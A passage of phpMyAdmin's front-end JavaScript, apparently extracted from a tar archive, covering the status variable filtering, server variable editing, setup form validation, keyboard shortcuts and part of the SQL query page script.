              '); } $(function () { $.tablesorter.addParser({ id: 'fancyNumber', is: function (s) { return (/^[0-9]?[0-9,\\.]*\s?(k|M|G|T|%)?$/).test(s); }, format: function (s) { var num = jQuery.tablesorter.formatFloat( s.replace(Messages.strThousandsSeparator, '') .replace(Messages.strDecimalSeparator, '.') ); var factor = 1; switch (s.charAt(s.length - 1)) { case '%': factor = -2; break; // Todo: Complete this list (as well as in the regexp a few lines up) case 'k': factor = 3; break; case 'M': factor = 6; break; case 'G': factor = 9; break; case 'T': factor = 12; break; } return num * Math.pow(10, factor); }, type: 'numeric' }); $.tablesorter.addParser({ id: 'withinSpanNumber', is: function (s) { return (/(.*)?<\/span>/); return (res && res.length >= 3) ? res[2] : 0; }, type: 'numeric' }); }); server/status/variables.js000066600000006355151724624350011731 0ustar00/** * * * @package PhpMyAdmin */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/status/variables.js', function () { $('#filterAlert').off('change'); $('#filterText').off('keyup'); $('#filterCategory').off('change'); $('#dontFormat').off('change'); }); AJAX.registerOnload('server/status/variables.js', function () { // Filters for status variables var textFilter = null; var alertFilter = $('#filterAlert').prop('checked'); var categoryFilter = $('#filterCategory').find(':selected').val(); var text = ''; // Holds filter text /* 3 Filtering functions */ $('#filterAlert').on('change', function () { alertFilter = this.checked; filterVariables(); }); $('#filterCategory').on('change', function () { categoryFilter = $(this).val(); filterVariables(); }); $('#dontFormat').on('change', function () { // Hiding the table while changing values speeds up the process a lot const serverStatusVariables = $('#serverStatusVariables'); serverStatusVariables.hide(); serverStatusVariables.find('td.value span.original').toggle(this.checked); serverStatusVariables.find('td.value span.formatted').toggle(! this.checked); serverStatusVariables.show(); }).trigger('change'); $('#filterText').on('keyup', function () { var word = $(this).val().replace(/_/g, ' '); if (word.length === 0 || word.length >= 32768) { textFilter = null; } else { try { textFilter = new RegExp('(^| )' + word, 'i'); $(this).removeClass('error'); } catch (e) { if (e instanceof SyntaxError) { $(this).addClass('error'); textFilter = null; } } } text = word; filterVariables(); }).trigger('keyup'); /* Filters the status variables by name/category/alert in the variables tab */ function filterVariables () { var usefulLinks = 0; var section = text; if (categoryFilter.length > 0) { section = categoryFilter; } if (section.length > 1) { $('#linkSuggestions').find('span').each(function () { if ($(this).attr('class').indexOf('status_' + section) !== -1) { usefulLinks++; $(this).css('display', ''); } else { $(this).css('display', 'none'); } }); } if (usefulLinks > 0) { $('#linkSuggestions').css('display', ''); } else { $('#linkSuggestions').css('display', 'none'); } $('#serverStatusVariables').find('th.name').each(function () { if ((textFilter === null || textFilter.exec($(this).text())) && (! alertFilter || $(this).next().find('span.text-danger').length > 0) && (categoryFilter.length === 0 || $(this).parent().hasClass('s_' + categoryFilter)) ) { $(this).parent().css('display', ''); } else { $(this).parent().css('display', 'none'); } }); } }); server/user_groups.js000066600000002547151724624350011012 0ustar00/** * @fileoverview Javascript functions used in server user groups page * @name Server User Groups * * @requires jQuery */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/user_groups.js', function () { $('#deleteUserGroupModal').off('show.bs.modal'); }); /** * Bind event handlers */ AJAX.registerOnload('server/user_groups.js', function () { const deleteUserGroupModal = $('#deleteUserGroupModal'); deleteUserGroupModal.on('show.bs.modal', function (event) { const userGroupName = $(event.relatedTarget).data('user-group'); this.querySelector('.modal-body').innerText = Functions.sprintf( Messages.strDropUserGroupWarning, Functions.escapeHtml(userGroupName) ); }); deleteUserGroupModal.on('shown.bs.modal', function (event) { const userGroupName = $(event.relatedTarget).data('user-group'); $('#deleteUserGroupConfirm').on('click', function () { $.post( 'index.php?route=/server/user-groups', { 'deleteUserGroup': true, 'userGroup': userGroupName, 'ajax_request': true, }, AJAX.responseHandler ); $('#deleteUserGroupModal').modal('hide'); }); }); }); server/variables.js000066600000010757151724624350010407 0ustar00/** * @fileoverview Javascript functions used in server variables page * @name Server Replication * * @requires jQuery * @requires jQueryUI * @requires js/functions.js */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/variables.js', function () { $(document).off('click', 'a.editLink'); $('#serverVariables').find('.var-name').find('a img').remove(); }); AJAX.registerOnload('server/variables.js', function () { var $saveLink = $('a.saveLink'); var $cancelLink = $('a.cancelLink'); $('#serverVariables').find('.var-name').find('a').append( $('#docImage').clone().css('display', 'inline-block') ); /* Launches the variable editor */ $(document).on('click', 'a.editLink', function (event) { event.preventDefault(); editVariable(this); }); /* Allows the user to edit a server variable */ function editVariable (link) { var $link = $(link); var $cell = $link.parent(); var $valueCell = $link.parents('.var-row').find('.var-value'); var varName = $link.data('variable'); var $mySaveLink = $saveLink.clone().css('display', 'inline-block'); var $myCancelLink = $cancelLink.clone().css('display', 'inline-block'); var $msgbox = Functions.ajaxShowMessage(); var $myEditLink = $cell.find('a.editLink'); $cell.addClass('edit'); // variable is being edited $myEditLink.remove(); // remove edit link $mySaveLink.on('click', function () { var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/server/variables/set/' + encodeURIComponent(varName), { 'ajax_request': true, 'server': CommonParams.get('server'), 'varValue': $valueCell.find('input').val() }, function (data) { if (data.success) { $valueCell .html(data.variable) .data('content', data.variable); Functions.ajaxRemoveMessage($msgbox); } else { if (data.error === '') { Functions.ajaxShowMessage(Messages.strRequestFailed, false); } else { Functions.ajaxShowMessage(data.error, false); } $valueCell.html($valueCell.data('content')); } $cell.removeClass('edit').html($myEditLink); }); return false; }); $myCancelLink.on('click', function () { $valueCell.html($valueCell.data('content')); $cell.removeClass('edit').html($myEditLink); return false; }); $.get('index.php?route=/server/variables/get/' + encodeURIComponent(varName), { 'ajax_request': true, 'server': CommonParams.get('server') }, function (data) { if (typeof data !== 'undefined' && data.success === true) { var $links = $('
              ') .append($myCancelLink) .append('   ') .append($mySaveLink); var $editor = $('
              ', { 'class': 'serverVariableEditor' }) .append( $('
              ').append( $('', { type: 'text', 'class': 'form-control form-control-sm' }).val(data.message) ) ); // Save and replace content $cell .html($links) .children() .css('display', 'flex'); $valueCell .data('content', $valueCell.html()) .html($editor) .find('input') .trigger('focus') .on('keydown', function (event) { // Keyboard shortcuts if (event.keyCode === 13) { // Enter key $mySaveLink.trigger('click'); } else if (event.keyCode === 27) { // Escape key $myCancelLink.trigger('click'); } }); Functions.ajaxRemoveMessage($msgbox); } else { $cell.removeClass('edit').html($myEditLink); Functions.ajaxShowMessage(data.error); } }); } }); setup/ajax.js000066600000000342151724624350007201 0ustar00/* eslint-disable no-unused-vars */ /** * Dummy implementation of the ajax page loader */ var AJAX = { registerOnload: function (idx, func) { $(func); }, registerTeardown: function (idx, func) { } }; setup/scripts.js000066600000014464151724624350007757 0ustar00/** * Functions used in Setup configuration forms */ /* global displayErrors, getAllValues, getIdPrefix, validators */ // js/config.js // show this window in top frame if (top !== self) { window.top.location.href = location; } // ------------------------------------------------------------------ // Messages // $(function () { if (window.location.protocol === 'https:') { $('#no_https').remove(); } else { $('#no_https a').on('click', function () { var oldLocation = window.location; window.location.href = 'https:' + oldLocation.href.substring(oldLocation.protocol.length); return false; }); } var hiddenMessages = $('.hiddenmessage'); if (hiddenMessages.length > 0) { hiddenMessages.hide(); var link = $('#show_hidden_messages'); link.on('click', function (e) { e.preventDefault(); hiddenMessages.show(); $(this).remove(); }); link.html(link.html().replace('#MSG_COUNT', hiddenMessages.length)); link.show(); } }); // set document width $(function () { var width = 0; $('ul.tabs li').each(function () { width += $(this).width() + 10; }); var contentWidth = width; width += 250; $('body').css('min-width', width); $('.tabs_contents').css('min-width', contentWidth); }); // // END: Messages // ------------------------------------------------------------------ // ------------------------------------------------------------------ // Form validation and field operations // /** * Calls server-side validation procedures * * @param {Element} parent input field in
              or
              * @param {String} id validator id * @param {object} values values hash {element1_id: value, ...} * * @return {bool|void} */ function ajaxValidate (parent, id, values) { var $parent = $(parent); // ensure that parent is a fieldset if ($parent.attr('tagName') !== 'FIELDSET') { $parent = $parent.closest('fieldset'); if ($parent.length === 0) { return false; } } if ($parent.data('ajax') !== null) { $parent.data('ajax').abort(); } $parent.data('ajax', $.ajax({ url: 'validate.php', cache: false, type: 'POST', data: { token: $parent.closest('form').find('input[name=token]').val(), id: id, values: JSON.stringify(values) }, success: function (response) { if (response === null) { return; } var error = {}; if (typeof response !== 'object') { error[$parent.id] = [response]; } else if (typeof response.error !== 'undefined') { error[$parent.id] = [response.error]; } else { for (var key in response) { var value = response[key]; error[key] = Array.isArray(value) ? value : [value]; } } displayErrors(error); }, complete: function () { $parent.removeData('ajax'); } })); return true; } /** * Automatic form submission on change. */ $(document).on('change', '.autosubmit', function (e) { e.target.form.submit(); }); $.extend(true, validators, { // field validators field: { /** * hide_db field * * @param {boolean} isKeyUp * * @return {true} */ hide_db: function (isKeyUp) { // eslint-disable-line camelcase if (!isKeyUp && this.value !== '') { var data = {}; data[this.id] = this.value; ajaxValidate(this, 'Servers/1/hide_db', data); } return true; }, /** * TrustedProxies field * * @param {boolean} isKeyUp * * @return {true} */ TrustedProxies: function (isKeyUp) { if (!isKeyUp && this.value !== '') { var data = {}; data[this.id] = this.value; ajaxValidate(this, 'TrustedProxies', data); } return true; } }, // fieldset validators fieldset: { /** * Validates Server fieldset * * @param {boolean} isKeyUp * * @return {true} */ Server: function (isKeyUp) { if (!isKeyUp) { ajaxValidate(this, 'Server', getAllValues()); } return true; }, /** * Validates Server_login_options fieldset * * @param {boolean} isKeyUp * * @return {true} */ Server_login_options: function (isKeyUp) { // eslint-disable-line camelcase return validators.fieldset.Server.apply(this, [isKeyUp]); }, /** * Validates Server_pmadb fieldset * * @param {boolean} isKeyUp * * @return {true} */ Server_pmadb: function (isKeyUp) { // eslint-disable-line camelcase if (isKeyUp) { return true; } var prefix = getIdPrefix($(this).find('input')); if ($('#' + prefix + 'pmadb').val() !== '') { ajaxValidate(this, 'Server_pmadb', getAllValues()); } return true; } } }); // // END: Form validation and field operations // ------------------------------------------------------------------ // ------------------------------------------------------------------ // User preferences allow/disallow UI // $(function () { $('.userprefs-allow').on('click', function (e) { if (this !== e.target) { return; } var el = $(this).find('input'); if (el.prop('disabled')) { return; } el.prop('checked', !el.prop('checked')); }); }); // // END: User preferences allow/disallow UI // ------------------------------------------------------------------ $(function () { $('.delete-server').on('click', function (e) { e.preventDefault(); var $this = $(this); $.post($this.attr('href'), $this.attr('data-post'), function () { window.location.replace('index.php'); }); }); }); shortcuts_handler.js000066600000007345151724624350010663 0ustar00/** * @fileoverview Handle shortcuts in various pages * @name Shortcuts handler * * @requires jQuery * @requires jQueryUI */ /* global Console */ // js/console.js /** * Register key events on load */ $(function () { var databaseOp = false; var tableOp = false; var keyD = 68; var keyT = 84; var keyK = 75; var keyS = 83; var keyF = 70; var keyE = 69; var keyH = 72; var keyC = 67; var keyBackSpace = 8; $(document).on('keyup', function (e) { // is a string but is also a boolean according to https://api.jquery.com/prop/ if ($(e.target).prop('contenteditable') === 'true' || $(e.target).prop('contenteditable') === true) { return; } if (e.target.nodeName === 'INPUT' || e.target.nodeName === 'TEXTAREA' || e.target.nodeName === 'SELECT') { return; } if (e.keyCode === keyD) { setTimeout(function () { databaseOp = false; }, 2000); } else if (e.keyCode === keyT) { setTimeout(function () { tableOp = false; }, 2000); } }); $(document).on('keydown', function (e) { // is a string but is also a boolean according to https://api.jquery.com/prop/ if ($(e.target).prop('contenteditable') === 'true' || $(e.target).prop('contenteditable') === true) { return; } // disable the shortcuts when session has timed out. if ($('#modalOverlay').length > 0) { return; } if (e.ctrlKey && e.altKey && e.keyCode === keyC) { Console.toggle(); } if (e.ctrlKey && e.keyCode === keyK) { e.preventDefault(); Console.toggle(); } if (e.target.nodeName === 'INPUT' || e.target.nodeName === 'TEXTAREA' || e.target.nodeName === 'SELECT') { return; } var isTable; var isDb; if (e.keyCode === keyD) { databaseOp = true; } else if (e.keyCode === keyK) { e.preventDefault(); Console.toggle(); } else if (e.keyCode === keyS) { if (databaseOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && ! isTable) { $('.nav-link .ic_b_props').first().trigger('click'); } } else if (tableOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && isTable) { $('.nav-link .ic_b_props').first().trigger('click'); } } else { $('#pma_navigation_settings_icon').trigger('click'); } } else if (e.keyCode === keyF) { if (databaseOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && ! isTable) { $('.nav-link .ic_b_search').first().trigger('click'); } } else if (tableOp === true) { isTable = CommonParams.get('table'); isDb = CommonParams.get('db'); if (isDb && isTable) { $('.nav-link .ic_b_search').first().trigger('click'); } } } else if (e.keyCode === keyT) { tableOp = true; } else if (e.keyCode === keyE) { $('.ic_b_export').first().trigger('click'); } else if (e.keyCode === keyBackSpace) { window.history.back(); } else if (e.keyCode === keyH) { $('.ic_b_home').first().trigger('click'); } }); }); sql.js000066600000116436151724624350005731 0ustar00/** * @fileoverview functions used wherever an sql query form is used * * @requires jQuery * @requires js/functions.js * * @test-module Sql */ /* global isStorageSupported */ // js/config.js /* global codeMirrorEditor */ // js/functions.js /* global makeGrid */ // js/makegrid.js /* global sqlBoxLocked */ // js/functions.js var Sql = {}; /** * decode a string URL_encoded * * @param {string} str * @return {string} the URL-decoded string */ Sql.urlDecode = function (str) { if (typeof str !== 'undefined') { return decodeURIComponent(str.replace(/\+/g, '%20')); } }; /** * encode a string URL_decoded * * @param {string} str * @return {string} the URL-encoded string */ Sql.urlEncode = function (str) { if (typeof str !== 'undefined') { return encodeURIComponent(str).replace(/%20/g, '+'); } }; /** * Saves SQL query in local storage or cookie * * @param {string} query SQL query * @return {void} */ Sql.autoSave = function (query) { if (query) { var key = Sql.getAutoSavedKey(); if (isStorageSupported('localStorage')) { window.localStorage.setItem(key, query); } else { Cookies.set(key, query); } } }; /** * Saves SQL query in local storage or cookie * * @param {string} db database name * @param {string} table table name * @param {string} query SQL query * @return {void} */ Sql.showThisQuery = function (db, table, query) { var showThisQueryObject = { 'db': db, 'table': table, 'query': query }; if (isStorageSupported('localStorage')) { window.localStorage.showThisQuery = 1; window.localStorage.showThisQueryObject = JSON.stringify(showThisQueryObject); } else { Cookies.set('showThisQuery', 1); Cookies.set('showThisQueryObject', JSON.stringify(showThisQueryObject)); } }; /** * Set query to codemirror if show this query is * checked and query for the db and table pair exists */ Sql.setShowThisQuery = function () { var db = $('input[name="db"]').val(); var table = $('input[name="table"]').val(); if (isStorageSupported('localStorage')) { if (window.localStorage.showThisQueryObject !== undefined) { var storedDb = JSON.parse(window.localStorage.showThisQueryObject).db; var storedTable = JSON.parse(window.localStorage.showThisQueryObject).table; var storedQuery = JSON.parse(window.localStorage.showThisQueryObject).query; } if (window.localStorage.showThisQuery !== undefined && window.localStorage.showThisQuery === '1') { $('input[name="show_query"]').prop('checked', true); if (db === storedDb && table === storedTable) { if (codeMirrorEditor) { codeMirrorEditor.setValue(storedQuery); } else if (document.sqlform) { document.sqlform.sql_query.value = storedQuery; } } } else { $('input[name="show_query"]').prop('checked', false); } } }; /** * Saves SQL query with sort in local storage or cookie * * @param {string} query SQL query * @return {void} */ Sql.autoSaveWithSort = function (query) { if (query) { if (isStorageSupported('localStorage')) { window.localStorage.setItem('autoSavedSqlSort', query); } else { Cookies.set('autoSavedSqlSort', query); } } }; /** * Clear saved SQL query with sort in local storage or cookie * * @return {void} */ Sql.clearAutoSavedSort = function () { if (isStorageSupported('localStorage')) { window.localStorage.removeItem('autoSavedSqlSort'); } else { Cookies.set('autoSavedSqlSort', ''); } }; /** * Get the field name for the current field. Required to construct the query * for grid editing * * @param $tableResults enclosing results table * @param $thisField jQuery object that points to the current field's tr * * @return {string} */ Sql.getFieldName = function ($tableResults, $thisField) { var thisFieldIndex = $thisField.index(); // ltr or rtl direction does not impact how the DOM was generated // check if the action column in the left exist var leftActionExist = !$tableResults.find('th').first().hasClass('draggable'); // number of column span for checkbox and Actions var leftActionSkip = leftActionExist ? $tableResults.find('th').first().attr('colspan') - 1 : 0; // If this column was sorted, the text of the a element contains something // like 1 that is useful to indicate the order in case // of a sort on multiple columns; however, we dont want this as part // of the column name so we strip it ( .clone() to .end() ) var fieldName = $tableResults .find('thead') .find('th') .eq(thisFieldIndex - leftActionSkip) .find('a') .clone() // clone the element .children() // select all the children .remove() // remove all of them .end() // go back to the selected element .text(); // grab the text // happens when just one row (headings contain no a) if (fieldName === '') { var $heading = $tableResults.find('thead').find('th').eq(thisFieldIndex - leftActionSkip).children('span'); // may contain column comment enclosed in a span - detach it temporarily to read the column name var $tempColComment = $heading.children().detach(); fieldName = $heading.text(); // re-attach the column comment $heading.append($tempColComment); } fieldName = fieldName.trim(); return fieldName; }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('sql.js', function () { $(document).off('click', 'a.delete_row.ajax'); $(document).off('submit', '.bookmarkQueryForm'); $('input#bkm_label').off('input'); $(document).off('makegrid', '.sqlqueryresults'); $('#togglequerybox').off('click'); $(document).off('click', '#button_submit_query'); $(document).off('change', '#id_bookmark'); $('input[name=\'bookmark_variable\']').off('keypress'); $(document).off('submit', '#sqlqueryform.ajax'); $(document).off('click', 'input[name=navig].ajax'); $(document).off('submit', 'form[name=\'displayOptionsForm\'].ajax'); $(document).off('mouseenter', 'th.column_heading.pointer'); $(document).off('mouseleave', 'th.column_heading.pointer'); $(document).off('click', 'th.column_heading.marker'); $(document).off('scroll', window); $(document).off('keyup', '.filter_rows'); if (codeMirrorEditor) { codeMirrorEditor.off('change'); } else { $('#sqlquery').off('input propertychange'); } $('body').off('click', '.navigation .showAllRows'); $('body').off('click', 'a.browse_foreign'); $('body').off('click', '#simulate_dml'); $('body').off('keyup', '#sqlqueryform'); $('body').off('click', 'form[name="resultsForm"].ajax button[name="submit_mult"], form[name="resultsForm"].ajax input[name="submit_mult"]'); $(document).off('submit', '.maxRowsForm'); $(document).off('click', '#view_as'); $(document).off('click', '#sqlquery'); }); /** * @description

              Ajax scripts for sql and browse pages

              * * Actions ajaxified here: *
                *
              • Retrieve results of an SQL query
              • *
              • Paginate the results table
              • *
              • Sort the results table
              • *
              • Change table according to display options
              • *
              • Grid editing of data
              • *
              • Saving a bookmark
              • *
              * * @name document.ready * @memberOf jQuery */ AJAX.registerOnload('sql.js', function () { if (codeMirrorEditor || document.sqlform) { Sql.setShowThisQuery(); } $(function () { if (codeMirrorEditor) { codeMirrorEditor.on('change', function () { Sql.autoSave(codeMirrorEditor.getValue()); }); } else { $('#sqlquery').on('input propertychange', function () { Sql.autoSave($('#sqlquery').val()); }); var useLocalStorageValue = isStorageSupported('localStorage') && typeof window.localStorage.autoSavedSqlSort !== 'undefined'; // Save sql query with sort if ($('#RememberSorting') !== undefined && $('#RememberSorting').is(':checked')) { $('select[name="sql_query"]').on('change', function () { Sql.autoSaveWithSort($(this).val()); }); $('.sortlink').on('click', function () { Sql.clearAutoSavedSort(); }); } else { Sql.clearAutoSavedSort(); } // If sql query with sort for current table is stored, change sort by key select value var sortStoredQuery = useLocalStorageValue ? window.localStorage.autoSavedSqlSort : Cookies.get('autoSavedSqlSort'); if (typeof sortStoredQuery !== 'undefined' && sortStoredQuery !== $('select[name="sql_query"]').val() && $('select[name="sql_query"] option[value="' + sortStoredQuery + '"]').length !== 0) { $('select[name="sql_query"]').val(sortStoredQuery).trigger('change'); } } }); // Delete row from SQL results $(document).on('click', 'a.delete_row.ajax', function (e) { e.preventDefault(); var question = Functions.sprintf(Messages.strDoYouReally, Functions.escapeHtml($(this).closest('td').find('div').text())); var $link = $(this); $link.confirm(question, $link.attr('href'), function (url) { Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); var params = 'ajax_request=1' + argsep + 'is_js_confirmed=1'; var postData = $link.getPostData(); if (postData) { params += argsep + postData; } $.post(url, params, function (data) { if (data.success) { Functions.ajaxShowMessage(data.message); $link.closest('tr').remove(); } else { Functions.ajaxShowMessage(data.error, false); } }); }); }); // Ajaxification for 'Bookmark this SQL query' $(document).on('submit', '.bookmarkQueryForm', function (e) { e.preventDefault(); Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); $.post($(this).attr('action'), 'ajax_request=1' + argsep + $(this).serialize(), function (data) { if (data.success) { Functions.ajaxShowMessage(data.message); } else { Functions.ajaxShowMessage(data.error, false); } }); }); /* Hides the bookmarkoptions checkboxes when the bookmark label is empty */ $('input#bkm_label').on('input', function () { $('input#id_bkm_all_users, input#id_bkm_replace') .parent() .toggle($(this).val().length > 0); }).trigger('input'); /** * Attach Event Handler for 'Copy to clipboard' */ $(document).on('click', '#copyToClipBoard', function (event) { event.preventDefault(); var textArea = document.createElement('textarea'); // // *** This styling is an extra step which is likely not required. *** // // Why is it here? To ensure: // 1. the element is able to have focus and selection. // 2. if element was to flash render it has minimal visual impact. // 3. less flakyness with selection and copying which **might** occur if // the textarea element is not visible. // // The likelihood is the element won't even render, not even a flash, // so some of these are just precautions. However in IE the element // is visible whilst the popup box asking the user for permission for // the web page to copy to the clipboard. // // Place in top-left corner of screen regardless of scroll position. textArea.style.position = 'fixed'; textArea.style.top = 0; textArea.style.left = 0; // Ensure it has a small width and height. Setting to 1px / 1em // doesn't work as this gives a negative w/h on some browsers. textArea.style.width = '2em'; textArea.style.height = '2em'; // We don't need padding, reducing the size if it does flash render. textArea.style.padding = 0; // Clean up any borders. textArea.style.border = 'none'; textArea.style.outline = 'none'; textArea.style.boxShadow = 'none'; // Avoid flash of white box if rendered for any reason. textArea.style.background = 'transparent'; textArea.value = ''; $('#server-breadcrumb a').each(function () { textArea.value += $(this).data('raw-text') + '/'; }); textArea.value += '\t\t' + window.location.href; textArea.value += '\n'; $('.alert-success').each(function () { textArea.value += $(this).text() + '\n\n'; }); $('.sql pre').each(function () { textArea.value += $(this).text() + '\n\n'; }); $('.table_results .column_heading a').each(function () { // Don't copy ordering number text within tag textArea.value += $(this).clone().find('small').remove().end().text() + '\t'; }); textArea.value += '\n'; $('.table_results tbody tr').each(function () { $(this).find('.data span').each(function () { // Extract tag for NULL values before converting to string to not mess up formatting var data = $(this).find('em').length !== 0 ? $(this).find('em')[0] : this; textArea.value += $(data).text() + '\t'; }); textArea.value += '\n'; }); // eslint-disable-next-line compat/compat document.body.appendChild(textArea); textArea.select(); try { document.execCommand('copy'); } catch (err) { alert('Sorry! Unable to copy'); } // eslint-disable-next-line compat/compat document.body.removeChild(textArea); }); // end of Copy to Clipboard action /** * Attach the {@link makegrid} function to a custom event, which will be * triggered manually everytime the table of results is reloaded * @memberOf jQuery */ $(document).on('makegrid', '.sqlqueryresults', function () { $('.table_results').each(function () { makeGrid(this); }); }); /** * Append the "Show/Hide query box" message to the query input form * * @memberOf jQuery * @name appendToggleSpan */ // do not add this link more than once if (! $('#sqlqueryform').find('button').is('#togglequerybox')) { $('') .html(Messages.strHideQueryBox) .appendTo('#sqlqueryform') // initially hidden because at this point, nothing else // appears under the link .hide(); // Attach the toggling of the query box visibility to a click $('#togglequerybox').on('click', function () { var $link = $(this); $link.siblings().slideToggle('fast'); if ($link.text() === Messages.strHideQueryBox) { $link.text(Messages.strShowQueryBox); // cheap trick to add a spacer between the menu tabs // and "Show query box"; feel free to improve! $('#togglequerybox_spacer').remove(); $link.before('
              '); } else { $link.text(Messages.strHideQueryBox); } // avoid default click action return false; }); } /** * Event handler for sqlqueryform.ajax button_submit_query * * @memberOf jQuery */ $(document).on('click', '#button_submit_query', function () { $('.alert-success,.alert-danger').hide(); // hide already existing error or success message var $form = $(this).closest('form'); // the Go button related to query submission was clicked, // instead of the one related to Bookmarks, so empty the // id_bookmark selector to avoid misinterpretation in // /import about what needs to be done $form.find('select[name=id_bookmark]').val(''); var isShowQuery = $('input[name="show_query"]').is(':checked'); if (isShowQuery) { window.localStorage.showThisQuery = '1'; var db = $('input[name="db"]').val(); var table = $('input[name="table"]').val(); var query; if (codeMirrorEditor) { query = codeMirrorEditor.getValue(); } else { query = $('#sqlquery').val(); } Sql.showThisQuery(db, table, query); } else { window.localStorage.showThisQuery = '0'; } }); /** * Event handler to show appropriate number of variable boxes * based on the bookmarked query */ $(document).on('change', '#id_bookmark', function () { var varCount = $(this).find('option:selected').data('varcount'); if (typeof varCount === 'undefined') { varCount = 0; } var $varDiv = $('#bookmarkVariables'); $varDiv.empty(); for (var i = 1; i <= varCount; i++) { $varDiv.append($('
              ')); $varDiv.append($('')); $varDiv.append($('')); $varDiv.append($('
              ')); } if (varCount === 0) { $varDiv.parent().hide(); } else { $varDiv.parent().show(); } }); /** * Event handler for hitting enter on sqlqueryform bookmark_variable * (the Variable textfield in Bookmarked SQL query section) * * @memberOf jQuery */ $('input[name=bookmark_variable]').on('keypress', function (event) { // force the 'Enter Key' to implicitly click the #button_submit_bookmark var keycode = (event.keyCode ? event.keyCode : (event.which ? event.which : event.charCode)); if (keycode === 13) { // keycode for enter key // When you press enter in the sqlqueryform, which // has 2 submit buttons, the default is to run the // #button_submit_query, because of the tabindex // attribute. // This submits #button_submit_bookmark instead, // because when you are in the Bookmarked SQL query // section and hit enter, you expect it to do the // same action as the Go button in that section. $('#button_submit_bookmark').trigger('click'); return false; } else { return true; } }); /** * Ajax Event handler for 'SQL Query Submit' * * @see Functions.ajaxShowMessage() * @memberOf jQuery * @name sqlqueryform_submit */ $(document).on('submit', '#sqlqueryform.ajax', function (event) { event.preventDefault(); var $form = $(this); if (codeMirrorEditor) { $form[0].elements.sql_query.value = codeMirrorEditor.getValue(); } if (! Functions.checkSqlQuery($form[0])) { return false; } // remove any div containing a previous error message $('.alert-danger').remove(); var $msgbox = Functions.ajaxShowMessage(); var $sqlqueryresultsouter = $('#sqlqueryresultsouter'); Functions.prepareForAjaxRequest($form); var argsep = CommonParams.get('arg_separator'); $.post($form.attr('action'), $form.serialize() + argsep + 'ajax_page_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { // success happens if the query returns rows or not // show a message that stays on screen if (typeof data.action_bookmark !== 'undefined') { // view only if ('1' === data.action_bookmark) { $('#sqlquery').text(data.sql_query); // send to codemirror if possible Functions.setQuery(data.sql_query); } // delete if ('2' === data.action_bookmark) { $('#id_bookmark option[value=\'' + data.id_bookmark + '\']').remove(); // if there are no bookmarked queries now (only the empty option), // remove the bookmark section if ($('#id_bookmark option').length === 1) { $('#fieldsetBookmarkOptions').hide(); $('#fieldsetBookmarkOptionsFooter').hide(); } } } $sqlqueryresultsouter .show() .html(data.message); Functions.highlightSql($sqlqueryresultsouter); if (data.menu) { history.replaceState({ menu : data.menu }, null ); AJAX.handleMenu.replace(data.menu); } if (data.params) { CommonParams.setAll(data.params); } if (typeof data.ajax_reload !== 'undefined') { if (data.ajax_reload.reload) { if (data.ajax_reload.table_name) { CommonParams.set('table', data.ajax_reload.table_name); CommonActions.refreshMain(); } else { Navigation.reload(); } } } else if (typeof data.reload !== 'undefined') { // this happens if a USE or DROP command was typed CommonActions.setDb(data.db); var url; if (data.db) { if (data.table) { url = 'index.php?route=/table/sql'; } else { url = 'index.php?route=/database/sql'; } } else { url = 'index.php?route=/server/sql'; } CommonActions.refreshMain(url, function () { $('#sqlqueryresultsouter') .show() .html(data.message); Functions.highlightSql($('#sqlqueryresultsouter')); }); } $('.sqlqueryresults').trigger('makegrid'); $('#togglequerybox').show(); if (typeof data.action_bookmark === 'undefined') { if ($('#sqlqueryform input[name="retain_query_box"]').is(':checked') !== true) { if ($('#togglequerybox').siblings(':visible').length > 0) { $('#togglequerybox').trigger('click'); } } } } else if (typeof data !== 'undefined' && data.success === false) { // show an error message that stays on screen $sqlqueryresultsouter .show() .html(data.error); $('html, body').animate({ scrollTop: $(document).height() }, 200); } Functions.ajaxRemoveMessage($msgbox); }); // end $.post() }); // end SQL Query submit /** * Ajax Event handler for the display options * @memberOf jQuery * @name displayOptionsForm_submit */ $(document).on('submit', 'form[name=\'displayOptionsForm\'].ajax', function (event) { event.preventDefault(); var $form = $(this); var $msgbox = Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); $.post($form.attr('action'), $form.serialize() + argsep + 'ajax_request=true', function (data) { Functions.ajaxRemoveMessage($msgbox); var $sqlqueryresults = $form.parents('.sqlqueryresults'); $sqlqueryresults .html(data.message) .trigger('makegrid'); Functions.highlightSql($sqlqueryresults); }); // end $.post() }); // end displayOptionsForm handler // Filter row handling. --STARTS-- $(document).on('keyup', '.filter_rows', function () { var uniqueId = $(this).data('for'); var $targetTable = $('.table_results[data-uniqueId=\'' + uniqueId + '\']'); var $headerCells = $targetTable.find('th[data-column]'); var targetColumns = []; // To handle colspan=4, in case of edit, copy, etc options (Table row links). Add 3 dummy elements - only when the Table row links are NOT on the "Right" var rowLinksLocation = ($targetTable.find('thead > tr > th')).first(); var dummyTh = (rowLinksLocation[0].getAttribute('colspan') !== null) ? '' : ''; // Selecting columns that will be considered for filtering and searching. // Selecting columns that will be considered for filtering and searching. $headerCells.each(function () { targetColumns.push($(this).text().trim()); }); var phrase = $(this).val(); // Set same value to both Filter rows fields. $('.filter_rows[data-for=\'' + uniqueId + '\']').not(this).val(phrase); // Handle colspan. $targetTable.find('thead > tr').prepend(dummyTh); $.uiTableFilter($targetTable, phrase, targetColumns); $targetTable.find('th.dummy_th').remove(); }); // Filter row handling. --ENDS-- // Prompt to confirm on Show All $('body').on('click', '.navigation .showAllRows', function (e) { e.preventDefault(); var $form = $(this).parents('form'); Sql.submitShowAllForm = function () { var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); }; if (! $(this).is(':checked')) { // already showing all rows Sql.submitShowAllForm(); } else { $form.confirm(Messages.strShowAllRowsWarning, 